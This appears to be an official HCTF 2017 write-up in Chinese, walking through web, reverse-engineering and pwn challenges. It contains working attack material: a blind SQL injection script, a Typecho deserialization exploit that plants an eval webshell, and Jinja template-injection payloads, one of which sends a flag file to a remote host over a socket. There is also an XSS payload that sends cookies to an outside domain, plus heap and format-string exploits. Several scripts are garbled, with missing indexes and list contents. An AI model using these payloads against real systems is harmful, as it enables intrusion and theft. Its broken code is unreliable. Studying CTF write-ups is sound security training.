然而由于是黑名单不全的原因,几乎所有队伍都是用盲注做出来的
当前数据库有2个表,一个user,一个flag
user表里有3条数据,flag表里也有2条数据
所以有队伍在子查询中测试select(flag)from(flag)会返回there is nothing从而怀疑flag表不存在
因为数据库中会报错:ERROR 1242 (21000): Subquery returns more than 1 row
先说盲注吧,由于很多函数都没禁用,盲注的方法有很多,随便贴一个
由于3^1=2 -> Bob ,3^2=1 -> Alice, 3^0 -> Cc
看flag表中有多少行
id=3^(select(count(flag))from(flag)) 返回Alice,确定flag表中只有2条数据
跑flag的poc:
id=3^(select(count(1))from(flag)where(binary(flag)<0x30)) 写脚本直接跑就能跑出一个目录名,由于flag表里中第一条数据是没啥用的。给做题师傅们带来了些困扰,有些抱歉。
#!/usr/bin/env python # -*- coding:utf-8 -*-
# author = 'c014'
import requests
s = requests.session()
flag = ""
for i in xrange(100):
for j in range(33,128):
url = "http://sqls.2017.hctf.io/index/index.php?id=3^(select(count(1))from(flag)where(binary(flag)<0x{}))".format((flag+chr(j)).encode('hex'))
r = s.get(url)
if 'Cc' not in r.text:
flag = flag + chr(j-1)
print '[+]flag:'+flag
break
跑出目录'./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/'后访问/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php发现搭的是typecho
可以拿前段时间的Typecho前台getshell漏洞直接打
有两种方法,一种是直接回显命令执行,另一种是上传shell
由于根目录一般不会有可写权限,所以我准备了一个uploads目录,并且存在.DS_Store泄露
直接打的poc为:
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish Post: __typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=
根据需求修改base64内容即可
上传shell的poc为:
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCd1cGxvYWRzL2MwMTQucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtjXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php
即可在uploads目录下创建一个名为c014.php的webshell
之后会发现命令执行的函数好像都没有回显,因为我基本上都禁用掉了
这里用php自带的列目录
$c = new DirectoryIterator("glob:///*"); foreach($c as $cc) {
echo $cc,"</br>";
}
发现根目录下有个 /flag_is_here 的文件夹
然后读取这个文件夹下的内容,有一个flag文件
echo file_get_contents('/flag_is_here/flag');
get flag~
这题我一开始是想考显注绕过waf
/union([\s\S]+)select([\s\S]+)from/i 贴一下我预期的显注poc
id=1=2|@c:=(select(1))union(select@c) 读目录的exp为:
id=1=2|@c:=(select(flag)from(flag)where(flag<0x30))union(select@c)level4Repeater 题目是根据原文魔改的
打开题目F12发现server为
Server: Werkzeug/0.12.2 Python/2.7.12 然后发现输入x就返回x was not found.
差不多可以想到jinja模板注入问题
测试
secret={{2-1}} 返回1 was not found.即可验证
由于也是黑名单过滤,绕过方式看师傅们的姿势
request.args过滤了
空格(%20),回车(%0a),'__','[',']','os','"',"|" 直接构造是可以bypass的
空格可以用tab(%09)绕过,|后不允许接a-z可以用%0c,tab等绕过,os可以通过python中exec绕过
但是这题过滤仅限于request.args但是不允许post
简单的办法是可以用request.cookies来绕过
只能读文件的方法要找flag首先需要先到/etc/passwd看到有hctf用户,然后读取/home/hctf/.bash_history,发现flag路径/h3h3_1s_your_flag/flag,在读取flag
随便列几种解题方法
1.不用blask_list里的符号
secret={%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&a=_&payload=import%0csocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx.xxx.xxx.xxx',2333));s.send(open('/h3h3_1s_your_flag/flag').read()); 2.exec构造绕过'os'执行os系统命令
a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a) 3.通过request.cookies
Url: http://repeater.2017.hctf.io/?secret={{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}} Cookie: file=/h3h3_1s_your_flag/flag;class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=read;
Who are you? 进入界面,右上登录,Steam 账号授权。
然后进Home发现有infomation和shop。shop里可以买flag推测但显示余额不足。
购买动作的URL为http://gogogo.2017.hctf.io/shop/3,修改3为4可以发现调试模式没关,源码泄露。
public function buy(Request $request) {
$itemId = $request->route('id');
$item = Item::find($itemId);
$prize = $item->prize;
$balance = Info::find(Auth::id())->amount;
if ($balance >= $prize) {
return view('message', ['message' => $item->note]);
}
return view('message', ['message' => 'Sorry Sir! You don\'t have enough money']);
}
得知后端框架为 Laravel,账户余额字段名为amount。
infomation页尝试把表单中的name字段改成amount字段并提交,即可充值。
购买拿到flag:hctf{csgo_is_best_fps_game_dA3jf}。
推测没有限定提交表单的参数,可以反推后端代码可能为。
public function update(Request $request) {
$user = Info::where('id', Auth::id())->update($request->all());
}
Laravel 使用update方法批量赋值时应在Model中声明fillable白名单或者guard黑名单限制参数,或者使用$request->only()来限制。
Deserted placeDeserted place Description
maybe nothing here
flag in admin cookie
Now Score 820.35
Team solved 3
出题思路来自于一个比较特别的叫做SOME的攻击方式,全名Same Origin Method Execution,这是一种2015年被人提出来的攻击方式,可以用来执行同源环境下的任意方法,2年前就有人做了分析。
原paper
http://blog.safedog.cn/?p=13
https://lightless.me/archives/same-origin-method-exection.html
这里我就不讨论具体的SOME攻击,稍后我会在博客等地方更新具体的分析。
回到题目。
打开题目主要功能有限:
1、登陆
2、注册
3、修改个人信息(修改个人信息后按回车更新自己的信息)、
4、获取随机一个人的信息,并把它的信息更新给我自己
简单测试可以发现,个人信息页面存在self-xss,但问题就在于怎么能更新admin的个人信息。
仔细回顾站内的各种信息,我们能发现所有的更新个人信息都是通过开启子窗口来实现的。
edit.php里面有一个类似于jsonp的接口可以执行任意函数,简单测试可以发现这里正则匹配了.\w+,这意味这我们只能执行已有的js函数,我们可以看看后台的代码。
$callback = $_GET['callback']; preg_match("/\w+/i", $callback, $matches);
...
echo "<script>";
echo $matches."();";
echo "</script>";
已有的函数一共有3个
function UpdateProfile(){ var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;
console.log("Update user profile success...");
window.close();
}
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}
如果执行UpdateProfile,站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。
回顾站内逻辑,当我们点击click me,首先请求/edit.php?callback=RandomProfile,然后跳转至任意http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming,然后页面关闭并,更新信息到当前用户上,假设这里user是我们设定的还有恶意代码的user,那我们就可以修改admin的信息了,但,怎么能让admin打开这个页面呢?
我们可以尝试一个,如果直接打开edit.php?callback=RandomProfile&user=xiaoming
报错了,不是通过open打开的页面,寻找不到页面内的window.opener对象,也就没办法做任何事。
这里我们只有通过SOME,才能操作同源下的父窗口,首先我们得熟悉同源策略,同源策略规定,只有同源下的页面才能相互读写,如果通过windows.open打开的页面是同源的,那么我们就可以通过window.opener对象来操作父子窗口。
而SOME就是基于这种特性,可以执行同源下的任意方法。
最终payload:
vps, 1.html
<script> function start_some() {
window.open("2.html");
location.replace("http://desert.2017.hctf.io/user.php");
}
setTimeout(start_some(), 1000);
</script>
vps, 2.html
<script> function attack() {
location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
}
setTimeout(attack, 2000);
</script>
在lorexxar账户的message里添加payload
<img src="\" onerror=window.location.href='http://0xb.pw?cookie='%2bdocument.cookie> getflag!
level5A true man can play a palo one hundred time题目说明Question Now you have a balance palo. You can move it left or right. Just play hundred time on it.
Description
Get request receive two params
1.move, 0 or 1
2. >
Observation
1.pole position x
2.a value depend on x
3.pole deviate from center θ
4.a value depend on θ
Why you failed
θ or x > a certain value
总而言之就是个玩棒子的游戏(雾。
之所以出现在最后一道请去问关卡规则的设计者。
因为ctf本来不应该出现这种问题,所以我有意把这题设计得简单了一点,但是,ctf真是不讲道理,也导致这道题被少量非预期。
其实就是一个非常非常简单的强化学习的问题,甚至不需要强化学习去解。
DQN网络结构定义import numpy as np import tensorflow as tf
import requests
import math
class DeepQNetwork:
def __init__(
self,
n_actions,
n_features,
learning_rate=0.01,
reward_decay=0.9,
e_greedy=0.9,
replace_target_iter=300,
memory_size=500,
batch_size=32,
e_greedy_increment=None,
output_graph=False,
):
self.n_actions = n_actions
self.n_features = n_features
self.lr = learning_rate
self.gamma = reward_decay
self.epsilon_max = e_greedy
self.replace_target_iter = replace_target_iter
self.memory_size = memory_size
self.batch_size = batch_size
self.epsilon_increment = e_greedy_increment
self.epsilon = 0 if e_greedy_increment is not None else self.epsilon_max
# total learning step
self.learn_step_counter = 0
# initialize zero memory
self.memory = np.zeros((self.memory_size, n_features * 2 + 2))
# consist of
self._build_net()
t_params = tf.get_collection('target_net_params')
e_params = tf.get_collection('eval_net_params')
self.replace_target_op =
self.sess = tf.Session()
if output_graph:
# $ tensorboard --logdir=logs
# tf.train.SummaryWriter soon be deprecated, use following
tf.summary.FileWriter("logs/", self.sess.graph)
self.sess.run(tf.global_variables_initializer())
self.cost_his = []
def _build_net(self):
# ------------------ build evaluate_net ------------------
self.s = tf.placeholder(tf.float32, , name='s')# input
self.q_target = tf.placeholder(tf.float32, , name='Q_target')# for calculating loss
with tf.variable_scope('eval_net'):
# c_names(collections_names) are the collections to store variables
c_names, n_l1, w_initializer, b_initializer = \
['eval_net_params', tf.GraphKeys.GLOBAL_VARIABLES], 10, \
tf.random_normal_initializer(0., 0.3), tf.constant_initializer(0.1)# config of layers
# first layer. collections is used later when assign to target net
with tf.variable_scope('l1'):
w1 = tf.get_variable('w1', , initializer=w_initializer, collections=c_names)
b1 = tf.get_variable('b1', , initializer=b_initializer, collections=c_names)
l1 = tf.nn.relu(tf.matmul(self.s, w1) + b1)
# second layer. collections is used later when assign to target net
with tf.variable_scope('l2'):
w2 = tf.get_variable('w2', , initializer=w_initializer, collections=c_names)
b2 = tf.get_variable('b2', , initializer=b_initializer, collections=c_names)
self.q_eval = tf.matmul(l1, w2) + b2
with tf.variable_scope('loss'):
self.loss = tf.reduce_mean(tf.squared_difference(self.q_target, self.q_eval))
with tf.variable_scope('train'):
self._train_op = tf.train.RMSPropOptimizer(self.lr).minimize(self.loss)
# ------------------ build target_net ------------------
self.s_ = tf.placeholder(tf.float32, , name='s_') # input
with tf.variable_scope('target_net'):
# c_names(collections_names) are the collections to store variables
c_names = ['target_net_params', tf.GraphKeys.GLOBAL_VARIABLES]
# first layer. collections is used later when assign to target net
with tf.variable_scope('l1'):
w1 = tf.get_variable('w1', , initializer=w_initializer, collections=c_names)
b1 = tf.get_variable('b1', , initializer=b_initializer, collections=c_names)
l1 = tf.nn.relu(tf.matmul(self.s_, w1) + b1)
# second layer. collections is used later when assign to target net
with tf.variable_scope('l2'):
w2 = tf.get_variable('w2', , initializer=w_initializer, collections=c_names)
b2 = tf.get_variable('b2', , initializer=b_initializer, collections=c_names)
self.q_next = tf.matmul(l1, w2) + b2
def store_transition(self, s, a, r, s_):
if not hasattr(self, 'memory_counter'):
self.memory_counter = 0
transition = np.hstack((s, , s_))
# replace the old memory with new memory
index = self.memory_counter % self.memory_size
self.memory = transition
self.memory_counter += 1
def choose_action(self, observation):
# to have batch dimension when feed into tf placeholder
observation = observation
if np.random.uniform() < self.epsilon:
# forward feed the observation and get q value for every actions
actions_value = self.sess.run(self.q_eval, feed_dict={self.s: observation})
action = np.argmax(actions_value)
else:
action = np.random.randint(0, self.n_actions)
return action
def learn(self):
# check to replace target parameters
if self.learn_step_counter % self.replace_target_iter == 0:
self.sess.run(self.replace_target_op)
print('\ntarget_params_replaced\n')
# sample batch memory from all memory
if self.memory_counter > self.memory_size:
sample_index = np.random.choice(self.memory_size,>
else:
sample_index = np.random.choice(self.memory_counter,>
batch_memory = self.memory
q_next, q_eval = self.sess.run(
,
feed_dict={
self.s_: batch_memory[:, -self.n_features:],# fixed params
self.s: batch_memory[:, :self.n_features],# newest params
})
# change q_target w.r.t q_eval's action
q_target = q_eval.copy()
batch_index = np.arange(self.batch_size, dtype=np.int32)
eval_act_index = batch_memory[:, self.n_features].astype(int)
reward = batch_memory[:, self.n_features + 1]
q_target = reward + self.gamma * np.max(q_next, axis=1)
# train eval network
_, self.cost = self.sess.run(,
feed_dict={self.s: batch_memory[:, :self.n_features],
self.q_target: q_target})
self.cost_his.append(self.cost)
# increasing epsilon
self.epsilon = self.epsilon + self.epsilon_increment if self.epsilon < self.epsilon_max else self.epsilon_max
self.learn_step_counter += 1
学习迭代x_threshold = 2.4 theta_threshold_radians = 1/15*math.pi
RL = DeepQNetwork(n_actions=2,
n_features=4,
learning_rate=0.01, e_greedy=0.9,
replace_target_iter=100, memory_size=2000,
e_greedy_increment=0.001,)
total_steps = 0
for i_episode in range(100):
json_req = requests.get(url=url, params={'id': token, 'move': 0}).json()
observation = json_req['observation']
ep_r = 0
while True:
action = RL.choose_action(np.array(observation))
json_req = requests.get(url=url, params={'id': token, 'move': action}).json()
try:observation_ = json_req['observation']
except KeyError:
pass
print(observation)
done = not json_req['status']
# the smaller theta and closer to center the better
x, x_dot, theta, theta_dot = observation_
r1 = (x_threshold - abs(x))/x_threshold - 0.8
r2 = (theta_threshold_radians - abs(theta))/theta_threshold_radians - 0.5
reward = r1 + r2
RL.store_transition(observation, action, reward, observation_)
ep_r += reward
if total_steps > 1000:
RL.learn()
if done:
count = json_req['count']
if count == 100:
print(json_req['flag'])
else:
print('count:', json_req['count'])
break
observation = observation_
total_steps += 1
Binlevel1Evr_Q0x00 写在前面 这题一开始是准备TLS+SMC+反调试的,发现放在第一题有些不太合适,就把SMC的调用部分删掉了。
(其实留下了彩蛋,smc的实现我没有删XD)
设计思路:
用TLS检测工具进程和调试器,进入主函数后先检测用户名,通过后检测StartCode(即flag),最后输入'Y'确认CM。
部分细节:
[*]Win10的TLS在vs17上有点小Bug,只能在Debug模式下跑起来,于是没有选择Release版本,如果给大家带来困扰这里十分抱歉。
[*]用户名注册存在多解,原因是我把进位值舍去了(输入'I'也能通过username验证哦)
[*]StartCode部分先验证长度为35 Step1: 全体 xor 0x76
Step2: 每个字节先异或0xAD, 再将0b10101010位与0b01010101位互换
Step3: 每个字节先异或0xBE, 再将0b11001100位与0b00110011位互换
Step4: 每个字节先异或0xAD, 再将0b11110000位于0b00001111位互换
[*]Step2~4加密前先调用ntdll!NtQueryInformationProcess, 各检查1种标志(7, 30,31)
[*]比较简单的做法直接用ida看了,cuz没有造成任何静态反编译的难度
0x01 Wpimport random import os
import hashlib
enc_flag =
dec_flag = * len(enc_flag)
#/////////////////////////////////////////////////
def dec0_f(dec_t, enc_t, num):
for i in range(num):
dec_t = chr(enc_t ^ 0x76)
return dec_t
#/////////////////////////////////////////////////
def dec1_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t & 0x55) << 1
v2 = (enc_t >> 1) & 0x55
enc_t = v1 | v2
dec_t = enc_t ^ 0xAD
return dec_t
#/////////////////////////////////////////////////
def dec2_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t & 0x33) << 2
v2 = (enc_t >> 2) & 0x33
enc_t = v1 | v2
dec_t = enc_t ^ 0xBE
return dec_t
#/////////////////////////////////////////////////
def dec3_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t & 0xF) << 4
v2 = (enc_t >> 4) & 0xF
enc_t = v1 | v2
dec_t = enc_t ^ 0xEF
return dec_t
#/////////////////////////////////////////////////
def dec_f(dec_flag, enc_flag):
for i in range(len(enc_flag)):
dec_flag = enc_flag
dec_flag = dec3_f(dec_flag, enc_flag, 7)
dec_flag = dec2_f(dec_flag, enc_flag, 7)
dec_flag = dec1_f(dec_flag, enc_flag, 7)
dec_flag = dec0_f(dec_flag, dec_flag, 35)
#/////////////////////////////////////////////////
dec_f(dec_flag, enc_flag)
print ''.join(dec_flag)
flag:
hctf{>>D55_CH0CK3R_B0o0M!-xxxxxxxx}level2ez_crackme 考察对简单解释器的逆向能力。
加密解密过程box=[] for i in range(32):
x=(x+51)%32
box.append(x)
先用如上方式初始化一个box。
用这个box将输入的明文进行乱序。
head = (out&0xe0)>>5 for i in range(31):
out = ((out&0x1f)<<3)+((out&0xe0)>>5)
out = ((out&0x1f)<<3) + head
然后用如上方式,将乱序后的结果进行整体循环左移3位。
key = 'deadbeef'.decode('hex') for i in range(32):
out2.append(out^((ord(key)+i)&0xff))
然后利用key和下标i对左移后的结果做异或即可。
完整python加密解密脚本:
key = 'deadbeef'.decode('hex') def encrypt(flag):
out=[]
out2=[]
x=0#gen box
box=[]
for i in range(32):
x=(x+51)%32
box.append(x)
for i in range(32):
out.append(ord(flag]))
head = (out&0xe0)>>5
for i in range(31):
out = ((out&0x1f)<<3)+((out&0xe0)>>5)
out = ((out&0x1f)<<3) + head
for i in range(32):
out2.append(out^((ord(key)+i)&0xff))
returnout2
def decrypt(enc_list):
out=[]
out2=*32
x=0#gen box
box=[]
for i in range(32):
x=(x+51)%32
box.append(x)
for i in range(32):
out.append(enc_list^(ord(key)+i))
tail = out&0x7
for i in reversed(range(1,32)):
out = ((out&0xf8)>>3)+((out&0x7)<<5)
out = ((out&0xf8)>>3)+(tail<<5)
for i in range(32):
out2] = out
return''.join(map(chr,out2))
解释器分析//register #define _eax 0
#define _ebx 1
#define _ebx2 2
#define _ecx 3
#define _edx 4
#define _esp 5
#define _lf 6
#define _neq 7
#define _t_intp 8
#define _t_chp 9
#define _t_int 10
#define _flag 11
#define _enc 12
#define _key 13
//opcode
#define _mov (0<<1)
#define _mov32 (1<<1)
#define _lea_ch (2<<1)
#define _lea_int (3<<1)
#define _ldr_int (4<<1)
#define _ldr_ch (5<<1)
#define _add (6<<1)
#define _add_pint (7<<1)
#define _add_pch (8<<1)
#define _my_xor (9<<1)
#define _mod (10<<1)
#define _my_or (11<<1)
#define _my_and (12<<1)
#define _push (13<<1)
#define _pop (14<<1)
#define _shr (15<<1)
#define _shl (16<<1)
#define _ror (17<<1)
#define _cmpl (18<<1)
#define _cmpeq (19<<1)
#define loop (20<<1)
#define code_end (21<<1)
//type
#define rn 0
#define rr 1
定义了一些寄存器以及变量,解释器指令,以及指令后面的变量种类。一个完整的指令由高7位的类型和低1位的变量类型组成。
rr表示op reg,reg,rn表示op reg,num。
用宏写的解释代码
char code[] = { _lea_ch | rr,_ebx, _flag,
_my_xor | rr,_ecx, _ecx,
_my_xor | rr,_eax,_eax,
_my_xor | rr,_edx,_edx,
loop,
_add | rn,_eax, 51,
_mod | rn,_eax, 32,
_lea_ch | rr,_t_chp, _ebx,
_add_pch | rr,_t_chp,_eax,
_ldr_ch | rr,_t_int,_t_chp,
_mov | rr,_edx,_t_int,
_push | rr,_esp,_edx,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
loop,
_my_xor | rr,_eax,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0xe0,
_shr | rn,_eax, 5,
_mov | rr,_edx,_eax,
_my_xor | rr,_ecx, _ecx,
loop,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0x1f,
_shl | rn,_eax, 3,
_push | rr,_esp,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0xe0,
_shr | rn,_eax, 5,
_pop | rr,_esp,_t_int,
_add | rr,_t_int,_eax,
_push | rr,_esp,_t_int,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 31,
loop,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0x1f,
_shl | rn,_eax, 3,
_add | rr,_eax,_edx,
_push | rr,_esp,_eax,
_my_xor | rr,_ecx, _ecx,
_mov32 | rr,_edx, _key,
loop,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_push | rr,_esp,_eax,
_mov | rr,_eax,_edx,
_add | rr,_eax, _ecx,
_pop | rr,_esp,_t_int,
_my_xor | rr,_t_int,_eax,
_push | rr,_esp,_t_int,
_ror | rn,_edx, 8,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
loop,
_my_xor | rr,_ecx, _ecx,
_my_xor | rr,_edx,_edx,
_lea_ch | rr,_ebx,_enc,
loop,
_lea_ch | rr,_t_chp, _ebx,
_add_pch | rr,_t_chp, _ecx,
_ldr_ch | rr,_t_int,_t_chp,
_mov | rr,_eax,_t_int,
_push | rr,_esp,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -33,
_ldr_int | rr,_t_int,_t_intp,
_pop | rr,_esp,_eax,
_push | rr,_esp,_eax,
_cmpeq | rr,_eax,_t_int,
_my_or | rr,_edx, _neq,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
loop,
code_end
};
其中loop的实现是用记录ip的方式来实现的。
完整的程序代码见github。
guestbook 作为第一道pwn,出的应该是比较老套简单的东西。
主要考察点有三个。
利用ebp chain和fmt来实现任意地址写。
对__free_hook的了解。
对$0get shell的了解(最后貌似无人使用,因为有其他方法。)
我的exp:
from pwn import * context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
bin = ELF('./guestbook')
libc = ELF('./libc.so')
def add(name,phone):
cn.sendline('1')
cn.recvuntil('OK,your guest index is ')
idx = int(cn.recvuntil('\n'))
cn.recvuntil('?')
cn.send(name)
cn.recvuntil('?')
cn.send(phone)
cn.recvuntil('success!\n')
return>
def see(idx):
cn.sendline('2')
cn.recvuntil('index:')
cn.sendline(str(idx))
cn.recvuntil('the name:')
name = cn.recvuntil('\n')
cn.recvuntil('the phone:')
phone = cn.recvuntil('\n')
cn.recvuntil('===========')
return
def delete(idx):
cn.sendline('3')
cn.recvuntil('index:')
cn.sendline(str(idx))
def fmt(pay):
idx = add(pay,'1111')
see(idx)
delete(idx)
def fmt2(pay):
idx = add(pay,'1111')
see(idx)
def z():
gdb.attach(cn)
raw_input()
cn = process('./guestbook')
idx = add('%3$x','0')
libc_base = int(see(idx),16)-71 - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base+0x001B38B0
system = libc_base + libc.symbols['system']
success('libc_base: '+hex(libc_base))
success('free_hook: '+hex(free_hook))
success('system: '+hex(system))
idx = add('%72$x','1')
ebp_2 = int(see(idx),16)# %80$x
ebp_1 = ebp_2-0x20# %72$x
ebp_3 = ebp_2+0x20# %88$x
success('ebp_1: '+hex(ebp_1))
success('ebp_2: '+hex(ebp_2))
success('ebp_3: '+hex(ebp_3))
pay = '%'+str((ebp_3+8)&0xffff)+'c%80$hn'
fmt(pay)
pay = '%'+str((ebp_3+2)&0xffff)+'c%72$hn'
fmt(pay)
pay = '%'+str(((ebp_3+8)&0xffff0000)>>16)+'c%80$hn'
fmt(pay)
pay = '%'+str((ebp_3)&0xffff)+'c%72$hn'
fmt(pay)
pay = '%'+str(free_hook&0xffff)+'c%88$hn'
fmt(pay)
#z()
pay = '%'+str(system&0xffff)+'c%90$hn'
fmt2(pay)
pay = '%'+str((free_hook&0xffff)+2)+'c%88$hn'
fmt2(pay)
pay = '%'+str((system&0xffff0000)>>16)+'c%90$hn'
fmt2(pay)
idx=add('get shell','$0\x00')
delete(idx)
cn.interactive()
babyprintf 题目只有malloc和一个printf_chk,printf_chk和printf不同的地方有两点:
[*]不能使用$n不连续的打印
[*]在使用%n的时候会做一系列检查
虽然如此,但leak libc地址还是可以的。这个我想大部分人都想到了。
然后重点就是如何使用程序唯一的堆溢出。没有free的问题 可以通过free topchunk解决,然后很多选手在这都使用了unsortedbin attack拿到shell。
如何通过unsortedbin attack利用我就不多说了, 应该会有其他wp放出。我说一下如何利用 fastbin attack解决这个问题。首先我们能free 一个top chunk,然后有了第一个就能有第二个,不断申请内存或者覆盖top chunk的size可以很轻易的做到这点。同时,我们可以另下面那个的size为0x41,之后申请上面那个堆块就能把下面这个fastbin覆盖了。通过这个0x41的fastbin attack, 我们可以覆盖到位于data段上的stdout指针,具体如下
-------------------- -------------------- freed chunk1 alloced
-------------------- --------------------
dummy -> overflow
-------------------- --------------------
freed chunk2(0x41) chunk2->fd=target
-------------------- --------------------
当然libc中是存在onegadget的,所以也有人直接去覆盖malloc_hook,这些都可以
然后一个比较蛋疼的是libc-2.24的问题,因它为加入了新的对vtable的检验机制。如何绕过呢?这个方法很多,只要记得一点,我们已经能控制“整个“FILE结构体,这点如果稍微去看下源码的话应该能找到很多方法,这里提供一个替换vtable( _IO_file_jumps)到另一个vtable( _IO_str_jumps), 利用两个vtable defalut方法的不同拿到shell的解题脚本(偏移请自行更改):
from pwn import * context.log_level='debug'
def pr(size,data):
p.sendline(str(size))
p.recv()
p.sendline(data)
p.recvuntil('result: ')
return p.recvuntil('size: ')[:-5]
p = process('./babyprintf')
p.recvuntil('size: ')
for i in range(32):
pr(0xff0,'a')
p.sendline('0xe00')
p.recv()
p.sendline('%llx')
p.recvuntil('result: ')
libc_addr = int('0x'+p.recv(12),16)-0x3c6780
print 'libc: ',hex(libc_addr)
p.recvuntil('size: ')
pr(8,'a'*0x18+p64(0x1d1))
pr(0x1d0,'1')
pr(0x130,'1')
pr(0xd00,'1')
pr(0xa0,'a'*0xa8+p64(0x61))
pr(0x200,'a')
p.sendline('0x60')
p.recvuntil('string: ')
p.sendline('\x00'*0x2028+p64(0x41)+p64(0x601062))
p.recv()
pr(0x30,'a')
system_addr = libc_addr + 0x45390
sh_addr = libc_addr + 0x18cd17
malloc_addr = libc_addr + 0x84130
vtable_addr = libc_addr+0x3c37a0
flag=2|0x8000
